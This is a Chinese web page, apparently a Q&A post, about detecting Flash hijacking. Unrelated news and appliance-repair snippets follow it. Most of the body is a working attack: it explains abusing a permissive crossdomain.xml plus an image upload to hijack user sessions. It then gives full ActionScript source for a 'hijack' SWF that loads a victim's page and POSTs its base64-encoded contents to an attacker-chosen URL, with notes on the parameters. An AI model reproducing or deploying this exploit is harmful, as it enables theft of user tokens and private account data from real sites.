flash劫持问题如何可以检测?
admin
2023-01-22 17:42:23
0

通过什么样的办法检测flash是否被劫持?
  iis7网站监控
  网站的劫持、污染、flash劫持可检测。
  Flash 劫持
  当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问www..com/crossdomain.xml
  
  
  
  

  存在以上的情况,着要在
.com找到一个可以上传图片的就可以进行劫持用户权限。
  hijack源码:
  package {
  import flash.display.Sprite;
  import flash.events.Event;
  import flash.net.;
  import flash.utils.ByteArray;
  import flash.text.TextField;
  public class hijack extends Sprite
  {
  private static const _encodeChars:Vector. = _initEncoreChar();
  public function hijack()
  {
  var params:Object=root.loaderInfo.parameters;
  var jpg:URLRequest = new URLRequest(params.jpg);
  jpg.method = URLRequestMethod.GET;
  sendToURL(jpg);
  var request:URLRequest = new URLRequest(params.get);
  request.method = URLRequestMethod.GET;
  var loader:URLLoader=new URLLoader();
  loader.addEventListener(Event.COMPLETE,completeHandler);
  function completeHandler(event:Event):void{
  var data:String=(loader.data);
  var postURLrequest:URLRequest = new URLRequest(params.post);
  postURLrequest.method = URLRequestMethod.POST;
  var postdata:Object = new Array();
  postdata[0]=encode(data);
  postURLrequest.data = postdata[0];
  sendToURL(postURLrequest);
  }
  loader.load(request);
  }
  public static function encode(data:String):String {
  var bytes:ByteArray = new ByteArray();
  bytes.writeUTFBytes(data);
  return encodeByteArray(bytes);
  }
  public static function encodeByteArray(data:ByteArray):String {
  var out:ByteArray = new ByteArray();
  //Presetting the length keep the memory smaller and optimize speed since there is no "grow" needed
  out.length = (2 + data.length - ((data.length + 2) % 3))
4 / 3; //Preset length //1.6 to 1.5 ms
  var i:int = 0;
  var r:int = data.length % 3;
  var len:int = data.length - r;
  var c:uint; //read (3) character AND write (4) characters
  var outPos:int = 0;
  while(i < len) {
  //Read 3 Characters (8bit * 3 = 24 bits)
  c = data[int(i++)] << 16 | data[int(i++)] << 8 | data[int(i++)];
  out[int(outPos++)] = _encodeChars[int(c >>> 18)];
  out[int(outPos++)] = _encodeChars[int(c >>> 12 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c >>> 6 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int(c & 0x3f)];
  }
  //Need two "=" padding
  if(r == 1) {
  //Read one char, write two chars, write padding
  c = data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 2)];
  out[int(outPos++)] = _encodeChars[int((c & 0x03) << 4)];
  out[int(outPos++)] = 61;
  out[int(outPos++)] = 61;
  }
  //Need one "=" padding
  else if(r == 2) {
  c = data[int(i++)] << 8 | data[int(i)];
  out[int(outPos++)] = _encodeChars[int(c >>> 10)];
  out[int(outPos++)] = _encodeChars[int(c >>> 4 & 0x3f)];
  out[int(outPos++)] = _encodeChars[int((c & 0x0f) << 2)];
  out[int(outPos++)] = 61;
  }
  return out.readUTFBytes(out.length);
  }
  private static function _initEncoreChar():Vector. {
  var encodeChars:Vector. = new Vector.(64, true);
  // We could push the number directly
  // but I think it's nice to see the characters (with no overhead on encode/decode)
  var chars:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  for(var i:int = 0; i<64; i++) {
  encodeChars[i] = chars.charCodeAt(i);
  }
  return encodeChars;
  }
  }
  }
  参数说明:
  jpg:域下的图片(为了优先加载crossdomain.xml,否则劫持的接口加载太慢会导致无法劫持)
  get:劫持的接口或者页面
  post:接收劫持过来的页面为base64传输

相关内容

热门资讯

美媒爆料:特朗普批准美国与沙特... 据凤凰卫视援引美国媒体报道,特朗普政府计划向国会提交一项美国和沙特阿拉伯共享核电技术的协议,协议将允...
中国游客印尼亲历沉船事故:漂流... 近日,刘女士向红星新闻记者反映,7月16日,其在印尼乘坐游轮旅行时,遇到了沉船事故,其与其他游客及船...
女子付款2分钟后申请退票,34... 暑假是出行高峰期,不少在外务工的家长会购飞机票接子女阖家团聚。云南籍的胡女士说,7月19日11点左右...
特朗普扬言要打掉的“镐山”是什... 美伊两国在霍尔木兹海峡持续交锋之际,美国总统特朗普多次放出狠话,威胁轰炸伊朗一处山体深处的在建核设施...
台湾将进行“汉光42号演习”,... 7月22日,国务院台湾事务办公室举行例行新闻发布会,发言人张晗就近期两岸热点问题回答记者提问。有记者...
油烟机单电机更换方法 油烟机是我们家庭生活中不可缺少的厨房电器,它可以有效地排除厨房中产生的油烟和异味。但是,油烟机经常使...
洗衣机波轮轴如何检修 洗衣机的波轮轴是洗衣机的重要组成部分,它是帮助洗衣机完成洗涤功能的核心部分。波轮轴一旦出现故障,将会...
空调开机跳闸原因检修方法 空调一开机就跳闸,常见的原因就是空调内部漏电造成短路了,这时开启空调后电闸就会迅速跳闸,起到保护家里...
洗衣机改装电机固定方法 洗衣机是现代家庭中必备的家电之一,它的核心部件是电机。随着时间的推移,洗衣机电机可能会失去稳定性或者...
西门子洗衣机水槽清洗方法是什么... 西门子洗衣机水槽清洗方法是什么?洗衣机水槽是容易藏污纳垢的地方,需定期清洁。清洁方式可以考虑以下几种...